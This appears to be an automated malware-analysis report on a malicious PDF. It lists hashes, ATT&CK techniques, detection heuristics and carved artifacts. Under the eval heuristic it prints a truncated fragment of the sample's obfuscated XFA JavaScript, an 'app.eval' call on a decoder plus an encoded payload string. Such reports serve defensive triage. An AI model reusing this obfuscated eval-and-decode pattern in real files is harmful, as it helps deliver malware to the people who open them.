Malicious PDF — malware analysis report

Static analysis result for SHA-256 da2c5e6ae24be79f…

MALICIOUS

PDF

44.7 KB Created: 2012-10-10 16:07:58 +04:00 Authoring application: Adobe Designer 7.0 First seen: 2013-09-14
MD5: d969e502e6213ed8995fddb2ce188ef0 SHA-1: 18318b36b0aa9a240784e112ca308cbdb8e72a1c SHA-256: da2c5e6ae24be79fce53b148b2d2daa36606c46d4ccca062a8174db898c1ca4c
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

This PDF document contains multiple high-severity heuristic firings indicating malicious activity, including PDF_EVAL and PDF_XFA_SCRIPT. The ML classifier strongly flagged this PDF as malicious. The presence of embedded JavaScript streams, particularly stream_008_off00007835.js, suggests the execution of malicious code. This script likely downloads and executes a secondary payload, as indicated by the embedded_file_obj0044.bin artifact.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9992

Heuristics 8

  • XFA form contains risky executable script high CVE related PDF_XFA_SCRIPT
    PDF embeds an XFA form whose script block contains exploit, submission/launch, or shell-execution primitives. Ordinary LiveCycle print/update scripts are left as generic XFA/JS signals unless stronger behavior is present.
  • eval() call high PDF_EVAL
    eval() found — commonly used for obfuscated exploit execution (matched inside decoded stream)
    Matched line in script
    return nnnnnnnnnnnnn;}
app.eval(lllllllllllllllllll(ggggggggggggggg));
      </script></event></field><draw xmlns="http://www.xfa.org/schema/xfa-template/2.2/" h="31.75mm" name="StaticText1" w="57.1499mm" x="63.5mm" y="66.675mm"><ui><textEdit></textEdit></ui><value><text>_-7x+287p%+!=!z9zv+q%+!M5z7rn.125zq%+!L5z70+1pQp5z7rn%+!pIPp%+!No!z+-!7p%+!L%-w%+!270q&lt;Mp5z7rNo_-7x+287p52w+2__q*z!%287rn*v!p!89pPpOddxVVVZYVVZVVVV.(VVVVdZYVVZVVVVWVVVVV.ZYVVZVVVVWVVVVW0ZYVVZVVVVWVVVVZdZZVVZVVVV(VVVV{.ZZVVZVVVV.(VVVhVZYV^.VVVXf(VVVVVVVVVV^YV04VdZVON2_qp*z!%287pQpOEOprpn!89IPpO8I …
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • AcroForm button with action trigger low PDF_ACROFORM_BUTTON
    PDF contains a /Btn form field together with a SubmitForm/URI/Launch/JS trigger — this is the building block of fake 'Download' or 'Open' button overlays used in PDF phishing lures
  • Embedded script payload in PDF stream info PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain an HTML/XFA <script> tag without accompanying Windows shell-execution primitives — common in accessible XFA forms but worth surfacing for analyst review.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://cgi.adobe.com/special/acrobat/updateIn PDF document text
    • http://www.xfa.org/schema/xfa-template/2.1/In PDF document text
    • http://www.xfa.org/schema/xfa-template/2.2/In PDF document text
    • http://ns.adobe.com/xdp/In PDF document text
    • http://www.xfa.org/schema/xci/1.0/In PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text
    • http://www.xfa.org/schema/xfa-locale-set/2.1/In PDF document text
    • http://ns.adobe.com/xtd/In PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 10

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0042.bin pdf-embedded-file PDF EmbeddedFile object 42 at offset 0x7ADC 85 bytes
SHA-256: c06dcd026a7ea0536b63e07ce688691b585339a3ab7ff59065e546b56308c7bb
embedded_file_obj0043.bin pdf-embedded-file PDF EmbeddedFile object 43 at offset 0x7B8E 1526 bytes
SHA-256: f20aceb8dbc16d07642c756ca1ccc141a87f1f44f1a99949a4c6a6a8678b4c98
embedded_file_obj0044.bin pdf-embedded-file PDF EmbeddedFile object 44 at offset 0x7E5E 5567 bytes
SHA-256: 1183d8ed653c644fe9d4ab15b60d5561b92a8aee4430a3407a8f789d4302759f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
embedded_file_obj0045.bin pdf-embedded-file PDF EmbeddedFile object 45 at offset 0x89AA 144 bytes
SHA-256: 3dd68f00f4fcb366a2a3a17c65cb2626eeddf5ea5713302d374310561d810169
embedded_file_obj0046.bin pdf-embedded-file PDF EmbeddedFile object 46 at offset 0x8A6D 4800 bytes
SHA-256: 851068169faaac8fcdfa72571a46fea924d1fb0c33b95225802028dfa0b1c7a7
embedded_file_obj0047.bin pdf-embedded-file PDF EmbeddedFile object 47 at offset 0x8F09 212 bytes
SHA-256: 57045217c453d4674a08ad8778674bf199a7989a9505424a1815c016e6bb412f
stream_006_off000073f0.js decompressed-pdf-stream PDF FlateDecoded stream at offset 0x73F0 870 bytes
SHA-256: 4a1aca004cf20431c9a66dce85404a6411a54d881a6c257882260ffc972a13eb
stream_008_off00007835.js decompressed-pdf-stream PDF FlateDecoded stream at offset 0x7835 1528 bytes
SHA-256: c876171bd867b66b7671fb337ff9e57d18cd15b43d344cf5a7243821300a408a
font_00_cff_off0000131d.bin pdf-font-stream PDF embedded font (cff) at offset 0x131D 31178 bytes
SHA-256: 23831e143e2e1a484b95ee765b15d94562c951468b895c080e655667dc04ddf0
font_01_cff_off0000906e.bin pdf-font-stream PDF embedded font (cff) at offset 0x906E 3875 bytes
SHA-256: b3745fe60ed2b79d33047feb5a279123a26860f718ffc20e4c32f3c7de61af42

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